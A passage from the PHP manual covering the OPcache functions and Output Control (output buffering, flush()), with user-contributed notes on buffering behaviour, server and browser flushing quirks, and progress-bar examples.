I have seen that in php5.6 new function opcache_is_script_cached() appeared. But I can not find any documentation about it. Anyone can enlighten me about it?
Rashad Aliyev 21-Nov-2013 10:22
var_dump(opcache_get_configuration());


Get configuration information about the cache

  • « opcache_compile_file
  • opcache_get_status »
  • PHP Manual
  • OPcache Functions
  • Get configuration information about the cache

opcache_get_configuration

(PHP 5 >= 5.5.5, PECL ZendOpcache > 7.0.2)

opcache_get_configuration — Get configuration information about the cache

Description

array opcache_get_configuration ( void )

This function returns configuration information about the cache instance

Return Values

Returns an array of information, including ini, blacklist and version

Errors/Exceptions

If opcache.restrict_api is in use and the current path is in violation of the rule, an E_WARNING will be raised; no status information will be returned.

See Also

  • opcache_get_status() - Get status information about the cache

User Contributed Notes

marcus at synchromedia dot co dot uk 16-Sep-2014 06:08
Example output from this function:

array(3) {
  ["directives"]=>
  array(25) {
    ["opcache.enable"]=>
    bool(true)
    ["opcache.enable_cli"]=>
    bool(true)
    ["opcache.use_cwd"]=>
    bool(true)
    ["opcache.validate_timestamps"]=>
    bool(true)
    ["opcache.inherited_hack"]=>
    bool(true)
    ["opcache.dups_fix"]=>
    bool(false)
    ["opcache.revalidate_path"]=>
    bool(false)
    ["opcache.log_verbosity_level"]=>
    int(1)
    ["opcache.memory_consumption"]=>
    int(134217728)
    ["opcache.interned_strings_buffer"]=>
    int(8)
    ["opcache.max_accelerated_files"]=>
    int(4000)
    ["opcache.max_wasted_percentage"]=>
    float(0.05)
    ["opcache.consistency_checks"]=>
    int(0)
    ["opcache.force_restart_timeout"]=>
    int(180)
    ["opcache.revalidate_freq"]=>
    int(60)
    ["opcache.preferred_memory_model"]=>
    string(0) ""
    ["opcache.blacklist_filename"]=>
    string(0) ""
    ["opcache.max_file_size"]=>
    int(0)
    ["opcache.error_log"]=>
    string(0) ""
    ["opcache.protect_memory"]=>
    bool(false)
    ["opcache.save_comments"]=>
    bool(true)
    ["opcache.load_comments"]=>
    bool(true)
    ["opcache.fast_shutdown"]=>
    bool(true)
    ["opcache.enable_file_override"]=>
    bool(false)
    ["opcache.optimization_level"]=>
    int(4294967295)
  }
  ["version"]=>
  array(2) {
    ["version"]=>
    string(9) "7.0.4-dev"
    ["opcache_product_name"]=>
    string(12) "Zend OPcache"
  }
  ["blacklist"]=>
  array(0) {
  }
}


Get status information about the cache

  • « opcache_get_configuration
  • opcache_invalidate »
  • PHP Manual
  • OPcache Functions
  • Get status information about the cache

opcache_get_status

(PHP 5 >= 5.5.5, PECL ZendOpcache > 7.0.2)

opcache_get_status — Get status information about the cache

Description

array opcache_get_status ([ boolean $get_scripts = TRUE ] )

This function returns state information about the cache instance

Parameters

get_scripts

Include script specific state information

Return Values

Returns an array of information, optionally containing script specific state information

Errors/Exceptions

If opcache.restrict_api is in use and the current path is in violation of the rule, an E_WARNING will be raised; no status information will be returned.

See Also

  • opcache_get_configuration() - Get configuration information about the cache

User Contributed Notes

marcus at synchromedia dot co dot uk 16-Sep-2014 06:11
Example output from this function:

array(8) {
  ["opcache_enabled"]=>
  bool(true)
  ["cache_full"]=>
  bool(false)
  ["restart_pending"]=>
  bool(false)
  ["restart_in_progress"]=>
  bool(false)
  ["memory_usage"]=>
  array(4) {
    ["used_memory"]=>
    int(10936144)
    ["free_memory"]=>
    int(123281584)
    ["wasted_memory"]=>
    int(0)
    ["current_wasted_percentage"]=>
    float(0)
  }
  ["interned_strings_usage"]=>
  array(4) {
    ["buffer_size"]=>
    int(8388608)
    ["used_memory"]=>
    int(458480)
    ["free_memory"]=>
    int(7930128)
    ["number_of_strings"]=>
    int(5056)
  }
  ["opcache_statistics"]=>
  array(13) {
    ["num_cached_scripts"]=>
    int(1)
    ["num_cached_keys"]=>
    int(2)
    ["max_cached_keys"]=>
    int(7963)
    ["hits"]=>
    int(0)
    ["start_time"]=>
    int(1410858101)
    ["last_restart_time"]=>
    int(0)
    ["oom_restarts"]=>
    int(0)
    ["hash_restarts"]=>
    int(0)
    ["manual_restarts"]=>
    int(0)
    ["misses"]=>
    int(1)
    ["blacklist_misses"]=>
    int(0)
    ["blacklist_miss_ratio"]=>
    float(0)
    ["opcache_hit_rate"]=>
    float(0)
  }
  ["scripts"]=>
  array(1) {
    ["/var/www/opcache.php"]=>
    array(6) {
      ["full_path"]=>
      string(17) "/var/www/opcache.php"
      ["hits"]=>
      int(0)
      ["memory_consumption"]=>
      int(1064)
      ["last_used"]=>
      string(24) "Tue Sep 16 09:01:41 2014"
      ["last_used_timestamp"]=>
      int(1410858101)
      ["timestamp"]=>
      int(1410858099)
    }
  }
}


Invalidates a cached script

  • « opcache_get_status
  • opcache_reset »
  • PHP Manual
  • OPcache Functions
  • Invalidates a cached script

opcache_invalidate

(PHP 5 >= 5.5.0, PECL ZendOpcache >= 7.0.0)

opcache_invalidate — Invalidates a cached script

Description

boolean opcache_invalidate ( string $script [, boolean $force = FALSE ] )

This function invalidates a particular script from the opcode cache. If force is unset or FALSE, the script will only be invalidated if the modification time of the script is newer than the cached opcodes.

Parameters

script

The path to the script being invalidated.

force

If set to TRUE, the script will be invalidated regardless of whether invalidation is necessary.

Return Values

Returns TRUE if the opcode cache for script was invalidated or if there was nothing to invalidate, or FALSE if the opcode cache is disabled.

See Also

  • opcache_compile_file() - Compiles and caches a PHP script without executing it
  • opcache_reset() - Resets the contents of the opcode cache

User Contributed Notes

There are no user contributed notes for this page.


Resets the contents of the opcode cache

  • « opcache_invalidate
  • Output Control »
  • PHP Manual
  • OPcache Functions
  • Resets the contents of the opcode cache

opcache_reset

(PHP 5 >= 5.5.0, PECL ZendOpcache >= 7.0.0)

opcache_reset — Resets the contents of the opcode cache

Description

boolean opcache_reset ( void )

This function resets the entire opcode cache. After calling opcache_reset(), all scripts will be reloaded and reparsed the next time they are hit.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the opcode cache was reset, or FALSE if the opcode cache is disabled.

See Also

  • opcache_invalidate() - Invalidates a cached script

User Contributed Notes

There are no user contributed notes for this page.


Output Buffering Control

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Output Control Functions
    • flush — Flush system output buffer
    • ob_clean — Clean (erase) the output buffer
    • ob_end_clean — Clean (erase) the output buffer and turn off output buffering
    • ob_end_flush — Flush (send) the output buffer and turn off output buffering
    • ob_flush — Flush (send) the output buffer
    • ob_get_clean — Get current buffer contents and delete current output buffer
    • ob_get_contents — Return the contents of the output buffer
    • ob_get_flush — Flush the output buffer, return it as a string and turn off output buffering
    • ob_get_length — Return the length of the output buffer
    • ob_get_level — Return the nesting level of the output buffering mechanism
    • ob_get_status — Get status of output buffers
    • ob_gzhandler — ob_start callback function to gzip output buffer
    • ob_implicit_flush — Turn implicit flush on/off
    • ob_list_handlers — List all output handlers in use
    • ob_start — Turn on output buffering
    • output_add_rewrite_var — Add URL rewriter values
    • output_reset_rewrite_vars — Reset URL rewriter values

User Contributed Notes

clancy hood at gmail dot com 11-Apr-2009 08:33
The manual is a little shy on explaining that output buffers are nested, and that "turns off output buffering" means turning off the highest nested buffer.  See ob_get_level (for a useful function, but still no explanation)

<?php
    ob_start();
    echo "1:blah\n";
    ob_start();
    echo "2:blah";
    // ob_get_clean() returns the contents of the last buffer opened.  The first "blah" and the output of var_dump are flushed from the top buffer on exit
    var_dump(ob_get_clean());
    exit;
?>

puts:
    1:blah
    string(6) "2:blah"

Prior to realising this, I had thought PHP's ob functionality left more to be desired.  I *really* wish I knew earlier.


Introduction

The Output Control functions allow you to control when output is sent from the script. This can be useful in several different situations, especially if you need to send headers to the browser after your script has began outputting data. The Output Control functions do not affect headers sent using header() or setcookie(), only functions such as echo and data between blocks of PHP code.

Note:

When upgrading from PHP 4.1.x (and 4.2.x) to 4.3.x due to a bug in earlier versions you must ensure that implicit_flush is OFF in your php.ini, otherwise any output with ob_start() will not be hidden from output.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Output Control configuration options
Name | Default | Changeable | Changelog
output_buffering | "0" | PHP_INI_PERDIR |
output_handler | NULL | PHP_INI_PERDIR | Available since PHP 4.0.4.
implicit_flush | "0" | PHP_INI_ALL | PHP_INI_PERDIR in PHP <= 4.2.3.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

output_buffering boolean/integer

You can enable output buffering for all files by setting this directive to 'On'. If you wish to limit the size of the buffer to a certain size - you can use a maximum number of bytes instead of 'On', as a value for this directive (e.g., output_buffering=4096). As of PHP 4.3.5, this directive is always Off in PHP-CLI.

output_handler string

You can redirect all of the output of your scripts to a function. For example, if you set output_handler to mb_output_handler(), character encoding will be transparently converted to the specified encoding. Setting any output handler automatically turns on output buffering.

Note:

You cannot use both mb_output_handler() with
ob_iconv_handler() and you cannot use both
ob_gzhandler() and
zlib.output_compression.

Note:

Only built-in functions can be used with this directive. For user defined functions, use ob_start().

implicit_flush boolean

FALSE by default. Changing this to TRUE tells PHP to tell the output layer to flush itself automatically after every output block. This is equivalent to calling the PHP function flush() after each and every call to print or echo and each and every HTML block.

When using PHP within an web environment, turning this option on has serious performance implications and is generally recommended for debugging purposes only. This value defaults to TRUE when operating under the CLI SAPI.

See also ob_implicit_flush().

User Contributed Notes

support at losalgendesign dot com 09-Aug-2013 01:46
Using "OFF" or no value on output_buffering will disable header modifications, like redirects or content-type or content-disposition resulting in the error we commonly attribute to output before header modifications:

Warning: Cannot modify header information - headers already sent by (output started at C:\PATH\filename.php:1) C:\PATH\filename.php on line 1

Example code with output_buffering = OFF which results in this behavior.  Changing it to "ON" or giving it a value will likely cause normal behavior.

<?php header("Location: http://www.php.net"); ?>

or

<?php header("Content-Type: text/Calendar"); ?>
<?php header("Content-Disposition: inline; filename=appointment.ics"); ?>


Predefined Constants

The constants below are always available as part of the PHP core.

PHP_OUTPUT_HANDLER_START (integer)

Indicates that output buffering has begun.

PHP_OUTPUT_HANDLER_WRITE (integer)

Indicates that the output buffer is being flushed, and had data to output.

Available since PHP 5.4.

PHP_OUTPUT_HANDLER_FLUSH (integer)

Indicates that the buffer has been flushed.

Available since PHP 5.4.

PHP_OUTPUT_HANDLER_CLEAN (integer)

Indicates that the output buffer has been cleaned.

Available since PHP 5.4.

PHP_OUTPUT_HANDLER_FINAL (integer)

Indicates that this is the final output buffering operation.

Available since PHP 5.4.

PHP_OUTPUT_HANDLER_CONT (integer)

Indicates that the buffer has been flushed, but output buffering will continue.

As of PHP 5.4, this is an alias for PHP_OUTPUT_HANDLER_WRITE.

PHP_OUTPUT_HANDLER_END (integer)

Indicates that output buffering has ended.

As of PHP 5.4, this is an alias for PHP_OUTPUT_HANDLER_FINAL.

PHP_OUTPUT_HANDLER_CLEANABLE (integer)

Controls whether an output buffer created by ob_start() can be cleaned.

Available since PHP 5.4.

PHP_OUTPUT_HANDLER_FLUSHABLE (integer)

Controls whether an output buffer created by ob_start() can be flushed.

Available since PHP 5.4.

PHP_OUTPUT_HANDLER_REMOVABLE (integer)

Controls whether an output buffer created by ob_start() can be removed before the end of the script.

Available since PHP 5.4.

PHP_OUTPUT_HANDLER_STDFLAGS (integer)

The default set of output buffer flags; currently equivalent to PHP_OUTPUT_HANDLER_CLEANABLE | PHP_OUTPUT_HANDLER_FLUSHABLE | PHP_OUTPUT_HANDLER_REMOVABLE.

Available since PHP 5.4.

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Example #1 Output Control example

<?php

ob_start();
echo "Hello\n";

setcookie("cookiename", "cookiedata");

ob_end_flush();

?>

In the above example, the output from echo would be stored in the output buffer until ob_end_flush() was called. In the mean time, the call to setcookie() successfully stored a cookie without causing an error. (Headers cannot normally be sent to the browser after data has already been sent.)

User Contributed Notes

There are no user contributed notes for this page.


Output Control Functions

See Also

See also header() and setcookie().

Table of Contents

  • flush — Flush system output buffer
  • ob_clean — Clean (erase) the output buffer
  • ob_end_clean — Clean (erase) the output buffer and turn off output buffering
  • ob_end_flush — Flush (send) the output buffer and turn off output buffering
  • ob_flush — Flush (send) the output buffer
  • ob_get_clean — Get current buffer contents and delete current output buffer
  • ob_get_contents — Return the contents of the output buffer
  • ob_get_flush — Flush the output buffer, return it as a string and turn off output buffering
  • ob_get_length — Return the length of the output buffer
  • ob_get_level — Return the nesting level of the output buffering mechanism
  • ob_get_status — Get status of output buffers
  • ob_gzhandler — ob_start callback function to gzip output buffer
  • ob_implicit_flush — Turn implicit flush on/off
  • ob_list_handlers — List all output handlers in use
  • ob_start — Turn on output buffering
  • output_add_rewrite_var — Add URL rewriter values
  • output_reset_rewrite_vars — Reset URL rewriter values

User Contributed Notes

Anonymous 20-Apr-2009 09:24
You possibly also want to end your benchmark after the output is flushed.

<?php
your_benchmark_start_function();

ob_start ();
for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

                              <----------
echo your_benchmark_end_function();      |
ob_end_flush (); ------------------------
?>
della at sun dot com 25-Nov-2008 10:08
Sometimes users are blaming about slow pages ... not being aware that mostly this is due to network issues.
So I've decided to add some statistics at the end of my pages:

At beginning I start the counters:

<?php
  function microtime_float() {
    if (version_compare(PHP_VERSION, '5.0.0', '>'))  return microtime(true);
    list($u,$s)=explode(' ',microtime()); return ((float)$u+(float)$s);
  }
  $initime=microtime_float();
  ob_start();
  ob_implicit_flush();
?>

And at the end I show the statistics:

<?php
  echo "PHP Time: ".round((microtime_float()-$initime)*1000)." msecs. ";
  echo "Size: ".round_byte(strlen(ob_get_contents()));
  ob_end_flush();
?>

(round_byte is my function to print byte sizes)
jgeewax a t gmail 30-Jun-2007 04:02
It seems that while using output buffering, an included file which calls die() before the output buffer is closed is flushed rather than cleaned. That is, ob_end_flush() is called by default.

<?php
// a.php (this file should never display anything)
ob_start();
include('b.php');
ob_end_clean();
?>

<?php
// b.php
print "b";
die();
?>

This ends up printing "b" rather than nothing as ob_end_flush() is called instead of ob_end_clean(). That is, die() flushes the buffer rather than cleans it. This took me a while to determine what was causing the flush, so I thought I'd share.
basicartsstudios at hotmail dot com 21-Jan-2007 07:39
Sometimes you might not want to include a php-file under the specifications defined in the functions include() or require(), but you might want to have in return the string that the script in the file "echoes".

Include() and require() both directly put out the evaluated code.

For avoiding this, try output-buffering:
<?php
ob_start();
eval(file_get_contents($file));
$result = ob_get_contents();
ob_end_clean();
?>
or
<?php
ob_start();
include($file);
$result = ob_get_contents();
ob_end_clean();
?>
which i consider the same, correct me if I'm wrong.

Best regards, BasicArtsStudios
trucex [um, at] gmail [um, dot] com 16-Sep-2006 11:08
Unfortunately, the PHP guys didn't build support into any of the image output functions to return the image instead of outputting it.

Fortunately, we have output buffering to fix that.

<?php

$im = imagecreatetruecolor(200, 200);

// Other image functions here...

ob_start();
imagepng($im);
$imageData = ob_get_contents();
ob_clean();

?>

You can now use the $imageData variable to either create another GD image, save it, put it in a database, make modifications to the binary, or output it to the user. You can easily check the size of it as well without having to access the disk...just use strlen();
webmaster at wistex dot com 08-Sep-2006 01:07
Now this just blew my mind. I had a problem with MySQL being incredibly slow on Windows 2003 running IIS... on ASP/VBScript pages. PHP is also installed on the server and so is Microsoft SQL 2005 Express. (Yes, we're running ASP, PHP, MySQL and MS SQL on the same Windows 2003 Server using IIS.)

I was browsing the internet for a solution and saw a suggestion that I change output_buffering to on if MySQL was slow for PHP pages.  Since we also served PHP pages with MySQL from the same server, it caught my eye.  For the hell of it, I went into php.ini and changed output_buffering to on and suddenly MySQL and ASP was faster... MySQL and PHP was faster... Microsoft SQL Server 2005 Express and ASP was faster.... everything was faster... even stuff that had no PHP!

And I didn't even have to restart IIS. As soon as I saved the php.ini file with the change, everything got faster.

Apparently PHP and MySQL and IIS are so intertwined somehow that changing the buffering setting really effects the performance of the entire server.

So, if you are having performance problems on Windows 2003 & IIS, you might try setting output_buffering = On in php.ini if you happen to have PHP installed.  Having it set to off apparently effects the performance of Windows 2003 and IIS severely... even for webpages that do not use PHP or MySQL.
kamermans at teratechnologies dot net 21-Aug-2006 10:30
Output buffering is set to '4096' instead of 'Off' or '0' by default in the php-5.0.4-10.5 RPM for Fedora Core release 4 (Stentz).  This has cost me much time!
kend52 at verizon dot net 23-Jun-2005 08:25
I ran out of memory, while output buffering and drawing text on imported images. Only the top portion of the 5MP image was displayed by the browser.  Try increasing the memory limit in either the php.ini file( memory_limit = 16M; ) or in the .htaccess file( php_value memory_limit "16M" ). Also see function memory_get_usage() .
gruik at libertysurf dot fr 10-Jul-2004 02:53
For those who are looking for optimization, try using buffered output.

I noticed that an output function call (i.e echo()) is somehow time expensive. When using buffered output, only one output function call is made and it seems to be much faster.
Try this :

<?php
your_benchmark_start_function();

for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

echo your_benchmark_end_function();
?>

And then :

<?php
your_benchmark_start_function();

ob_start ();
for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

echo your_benchmark_end_function();
ob_end_flush ();
?>


Flush system output buffer

  • « Output Control Functions
  • ob_clean »
  • PHP Manual
  • Output Control Functions
  • Flush system output buffer

flush

(PHP 4, PHP 5)

flush — Flush system output buffer

Description

void flush ( void )

Flushes the system write buffers of PHP and whatever backend PHP is using (CGI, a web server, etc). This attempts to push current output all the way to the browser with a few caveats.

flush() may not be able to override the buffering scheme of your web server and it has no effect on any client-side buffering in the browser. It also doesn't affect PHP's userspace output buffering mechanism. This means you will have to call both ob_flush() and flush() to flush the ob output buffers if you are using those.

Several servers, especially on Win32, will still buffer the output from your script until it terminates before transmitting the results to the browser.

Server modules for Apache like mod_gzip may do buffering of their own that will cause flush() to not result in data being sent immediately to the client.

Even the browser may buffer its input before displaying it. Netscape, for example, buffers text until it receives an end-of-line or the beginning of a tag, and it won't render tables until the </table> tag of the outermost table is seen.

Some versions of Microsoft Internet Explorer will only start to display the page after they have received 256 bytes of output, so you may need to send extra whitespace before flushing to get those browsers to display the page.

Return Values

No value is returned.

See Also

  • ob_flush() - Flush (send) the output buffer
  • ob_clean() - Clean (erase) the output buffer
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering
  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering

User Contributed Notes

php at stelio dot net 01-Oct-2013 08:26
For a Windows system using IIS, the ResponseBufferLimit takes precedence over PHP's output_buffering settings. So you must also set the ResponseBufferLimit to be something lower than its default value.

For IIS versions older than 7, the setting can be found in the %windir%\System32\inetsrv\fcgiext.ini file (the FastCGI config file). You can set the appropriate line to:
  ResponseBufferLimit=0

For IIS 7+, the settings are stored in %windir%\System32\inetsrv\config. Edit the applicationHost.config file and search for PHP_via_FastCGI (assuming that you have installed PHP as a FastCGI module, as per the installation instructions, with the name PHP_via_FastCGI). Within the add tag, place the following setting at the end:
  responseBufferLimit="0"
So the entire line will look something like:
  <add name="PHP_via_FastCGI" path="*.php" verb="*" modules="FastCgiModule" scriptProcessor="C:\PHP\php-cgi.exe" resourceType="Either" responseBufferLimit="0" />
Alternatively you can insert the setting using the following command:
  %windir%\system32\inetsrv\appcmd.exe set config /section:handlers "/[name='PHP_via_FastCGI'].ResponseBufferLimit:0"
Kris 29-Jun-2012 10:19
I had a bunch of problems trying to get flush working on my windows box, I finally found a solution after reading everyones here and it not working.

1) Set output_buffering = 0
2) Set zlib.output_compression = 0

I then used Wireshark to monitor network packets, and indeed the server was pusing the data, but the browser was not displaying it.. So it was a browser buffer issue (I am on Firefox 13)

For me I needed to send about 1k of data before it would display the data. To do this I added more header information..
 In php.ini I set default_charset = "utf-8"
And that was enough to give me enough for the buffer issue.

You can also try doing
echo str_repeat(" ", 1024), "\n";
at the start of the script.

hope this helps
seb dot field at gmail dot com 18-Sep-2010 12:52
If flush() function does not work. You must set next options in php.ini like:

--[code]--
 output_buffering = Off
 ;output_handler =
 zlib.output_compression = Off
 ;zlib.output_handler =
--[^code^]--

If things does not work you must view headers from the server and check `Server` string.
In my case, as the frontend was Nginx webserver and Apache work as backend.
Accordingly, buffering must be disabled in Nginx config file.
To stop buffering you must add next string to config file:

--[code]--
proxy_buffering off;
--[^code^]--

and restart Nginx daemon.  More information about  configuration you find in documentation on the nginx website.
jason@jasonbaumgartner@info 17-Jun-2009 02:18
Many of the suggestions below are very helpful but I would just like to clarify something.

If you are making calls to a .php script with AJAX (xmlHttpReq) and use flush, this will send data to your script HOWEVER it will not set the xmlHttpReq.readyState to 4 -- which is a requirement to use the information sent (Firefox does however allow you to use the responseText property with a readyState == 3 but IE will throw an error).

To get around this, you will need to make sure of a couple things:

In your Apache php.ini config file, check to make sure that output buffering is disabled:

output_buffering = off

Next, disable gzip compression for the .php script that is called from your AJAX script by using the excellent suggestion from Mandor by placing the following at the top of your script:

@apache_setenv('no-gzip', 1);
@ini_set('zlib.output_compression', 0);

What causes this problem is that while the php child process is running under apache, apache is waiting for the script to complete before completely closing the connection.  Scripts that send information directly to the browser with echos and prints will get away with using flush followed by a sleep command and then clean up procedures.  However, if you notice in the status bar of your browser window, the connection is still held open by apache until the script completed ("Transferring" ... yadda yadda).

By turning off the Apache compression, the connection is terminated directly after a flush while still giving the user the ability to run a sleep command followed by clean up code.

This bit me because the AJAX was returning <img> tags to newly created images by php.  The cleanup script would then remove those images after completion.

Since Apache held the connection open, the readyState only changed to 4 AFTER my php cleanup fired -- thereby erasing the links referred to my the <img> tags.

With this solution, the readyState will change to 4 BEFORE the sleep command begins.

I hope this saves someone a lot of time and frustration.  AJAX requests are an entirely different beast compared with simple outputting to a browser window.
mandor at mandor dot net 23-Dec-2008 04:20
This is what I use to turn off pretty much anything that could cause unwanted output buffering and turn on implicit flush:

<?php

    @apache_setenv('no-gzip', 1);
    @ini_set('zlib.output_compression', 0);
    @ini_set('implicit_flush', 1);
    for ($i = 0; $i < ob_get_level(); $i++) { ob_end_flush(); }
    ob_implicit_flush(1);

?>

If it still fails though, keep in mind that Internet Explorer and Safari have a 1k buffer before incremental rendering kicks in, so you'll want to output some padding as well.
Arerano 16-Nov-2008 03:58
This helped me getting flushing to work.
Using apache with deflate.

Turning compression off for this script: (add it somewhere at the top of the script)
apache_setenv('no-gzip', '1');

However, this only works if php is running as a module rather than a cgi-extension and safe mode must be disabled.

You can also turn the compression off for a directory by making a .htaccess file and adding the following entry:
mod_gzip_on Off

However that affects the whole directory.
Hope I could help.
Mr.KTO 12-Oct-2008 03:14
IE 7, Opera 9.6, any. All is quite simple. Today I just fogot what i do every night, :)

<?php
// All you need is 256 spaces first
echo str_repeat(" ", 256)."<pre>"; flush();

// and ANY TAG before \r\n
echo "working...<br/>\r\n"; flush(); sleep(1); // this in cycle
?>
Lucas 28-Aug-2008 12:12
I just had some problems with flush() and ob_flush(). What I did to resolve this problem took me some time to figure out so I'd like to share what I came up with.

The main problem is the php setting "output_buffering" which can be set too large and will prevent your text from outputting. To change this value you can either set it in php.ini or you can add the line

php_value output_buffering "0"

to your .htaccess file. It will not work with ini_set() since it is PHP_INI_PERDIR.

Next thing is to begin with ob_start();
Then you need
ob_flush();
flush();
before any echo or print.

Your code might look like this:

<?php
ob_start();

for($i=0;$i<70;$i++)
{
    echo 'printing...<br />';
    ob_flush();
    flush();

    usleep(300000);
}

?>

Hope this helps anyone with the same problems.
David 07-May-2008 11:32
mod_security 2.x core rules will also prevent flush() from working.
chuck at artistan dot org 27-Jun-2007 03:57
had problems flushing tables to screen.
this worked for me

<?php
if (ob_get_level() == 0) ob_start();
loop{
    tables and stuff
    echo str_pad("<br>\n",8);
}
ob_flush();
flush();  // needed ob_flush
usleep(50000);// delay minimum of .05 seconds to allow ie to flush to screen
?>
mbilliet at gmail dot com 13-May-2007 12:13
Hello,

I had the same problems with sending a javascript after the <body></body> content has been sent to the browser (the script updates the content of an iframe).

Two solutions work for me:
   - add enough data (i.e.: extra dummy text like spaces) or,
   - echo the '</body>' tag at the end of the page

Note, that for the latter to work one should:
   - turn of output_buffering in php.ini and either:
      * turn on implicit_flush in its php.ini or,
      * call ob_implicit_flush(); at the beginning of a script

I preferr echoing the '</body>' tag at the end as it doesn't require any extra data to be sent over the wire and its much a neater coding technique.

Notes:
   - these worakarounds aren't needed when using perl and cgi,... .
   - you can leave the zlib.output_compression in your php.ini switched on

Kind regards and hoped this is of any help.

Maurits
macott[D0T]daiato[4T]gmail[D0T]com 24-Apr-2007 09:17
If flush() don't work remember to check if you have any antivirus caching the data sent to the browser.
Leon 30-Mar-2007 01:14
I've spent days trying to figure out why flush didn't work all of a sudden, while it used to work perfectly. Apparently, it was McAfee Spamkiller that caused problems. Disabling it didn't work, I had to completely remove it. Hope this helps someone.
Kirk 06-Feb-2007 09:25
If you're not explictly using the buffering functions, then ob_flush() is only necessary if output buffering is turned on in your php.ini file.

flush() is only necessary if implicit_flush is turned off in your php.ini file. Setting implicit_flush to on will remove the need for all these flush() calls, but it's generally only good in an extremely controlled environment. Turning on implicit_flush in a production environment can be bad.
no at spam dot com 03-Aug-2006 08:51
ob_flush();flush();

Not the other way around, because it wont work.
vlad at modomail dot com 05-Apr-2006 03:46
Sorry if this is off topic, but it's the closest place I could find :)  I had an issue with essentially running a CPU intensive task while updating the browser with a progress bar via javascript and flushing the buffer a lot.

When the script was running, it effectively blocked other pages from running.  I had a few extra httpd_preforks processes just waiting to be used, but they just sat there.  I wasn't reading a file, locking database tables or anything that I would suspect an exclusive lock on, just outputting a bunch of text to the browser.  I even tried throttling my loops to see if it was processor related but still had problems.

Finally, I found this in the php.ini file and changed the On to Off and it worked.

[Sockets]
; Use the system read() function instead of the php_read() wrapper.
sockets.use_system_read = Off

Posting in case someone else has the same issue (or if someone knows why this would make a difference :) ).
mega023 at gmail dot com 25-Nov-2005 12:54
If flush is not working probably mod_gzip is enabled.
To disable it just add following lines to .htaccess

<IfModule mod_gzip.c>
mod_gzip_on no
</IfModule>
mikael at oebb dot net 03-Oct-2005 10:47
Hi all.
Been scratching my head over data NOT flushed to IE (6) even though I tried strpad 4096 chars, all headers OK,  TABLE and no TABLE, flush and ob_flush - still a blank page. Tried adding a sleep(1) before flushing - and everything worked as a charm.

/Mikael
20-Sep-2005 09:37
In my testing, Internet Explorer 6.0 wouldn't flush anything nested in <table> or <td> tags, regardless of padding. But at the <body> level everything flushed with no fuss -- no padding or tags required.

Both Firefox 1.0 and Safari 2.0 could flush within tables, and both required a tag after the text (like <br>). Safari could flush only after the first 1024 characters where received. Firefox needed at least 8 characters per flush (but it could flush anything at the <body> level).

So the only thing that worked on all those browsers was this:

<html>
<body>
<?php  // not in table tags for IE
echo str_pad('',1024);  // minimum start for Safari
for ($i=10; $i>0; $i--) {
    echo str_pad("$i<br>\n",8);
    // tag after text for Safari & Firefox
    // 8 char minimum for Firefox
    flush();  // worked without ob_flush() for me
    sleep(1);
}
?>
</body>
</html>
js at jeansebastien dot com 17-Jul-2005 08:41
This will show each line at a time with a pause of 2 seconds.
(Tested under IEx and Firefox)

<?php

if (ob_get_level() == 0) ob_start();

for ($i = 0; $i<10; $i++){

        echo "<br> Line to show.";
        echo str_pad('',4096)."\n";

        ob_flush();
        flush();
        sleep(2);
}

echo "Done.";

ob_end_flush();

?>
MOELZE �T GMX DOt DE (Michael) 16-May-2005 01:38
It is a bit complicated to work with the funktion flush() and you have to experiment with it a bit.
So if you design a site which has a timeloop at the end that calls a other site via a form data input (Data Submit) you have
to give something out to the buffer to get that new site loaden quick.

For example:

<?php
$instant=gettimeofday();
$timenow=$instant["sec"];//Start Time

//timeloop(e.g. for security_save after 30 min)
while (1) { echo "<b></b>";//Useless (only to quickload next
                                    //or same Site when do a switch)
flush();                          //giveout buffer
$instant=gettimeofday();
$timeactual=$instant["sec"]; //get Actual Time in Secs
$flag=(($timeactual>$timenow+$diff)? 1:0);//$diff=switchTime
if ($flag) { what_do_at_switch_Time();//Sec.Save etc.etc.
$timenow=$timeactual; } //Set new Start Time
sleep(5); //Or so...(Important)
} //End of while-Loop
?>

So you can programm a security save or other function in your site and if you do a switch the upload of the new or same site (the called site) works...
Alex 22-Apr-2005 11:35
Modified progress bar.. Works in IE, Mozilla+FF.

<html>
<head>
<style type="text/css"><!--

div {
 margin: 1px;
 height: 20px;
 padding: 1px;
 border: 1px solid #000;
 width: 275px;
 background: #fff;
 color: #000;
 float: left;
 clear: right;
 top: 38px;
 z-index: 9
}

.percents {
 background: #FFF;
 border: 1px solid #CCC;
 margin: 1px;
 height: 20px;
 position:absolute;
 width:275px;
 z-index:10;
 left: 10px;
 top: 38px;
 text-align: center;
}

.blocks {
 background: #EEE;
 border: 1px solid #CCC;
 margin: 1px;
 height: 20px;
 width: 10px;
 position: absolute;
 z-index:11;
 left: 12px;
 top: 38px;
 filter: alpha(opacity=50);
 -moz-opacity: 0.5;
 opacity: 0.5;
 -khtml-opacity: .5
}

-->
</style>
</head>
<body>

<?php

if (ob_get_level() == 0) {
    ob_start();
}
echo str_pad('Loading... ',4096)."<br />\n";
for ($i = 0; $i < 25; $i++) {
    $d = $d + 11;
    $m=$d+10;
    //This div will show loading percents
    echo '<div class="percents">' . $i*4 . '%&nbsp;complete</div>';
    //This div will show progress bar
    echo '<div class="blocks" style="left: '.$d.'px">&nbsp;</div>';
    flush();
    ob_flush();
    sleep(1);
}
ob_end_flush();
?>
<div class="percents" style="z-index:12">Done.</div>
</body>
</html>
Marty 15-Apr-2005 05:33
This is an extention of Rusty's comment below:

After sitting here for hours trying to make IE6 flush data out in the middle of a page (with it working perfectly in Firefox), I finally figured out the problem. IE will not display flushed data (even if it has it) unless the table that contains it is complete.

Every new element you want IE to display must not be in ANY kind of table at all. You must end all your tables.
Ghostshaw at spymac dot com 07-Apr-2005 01:45
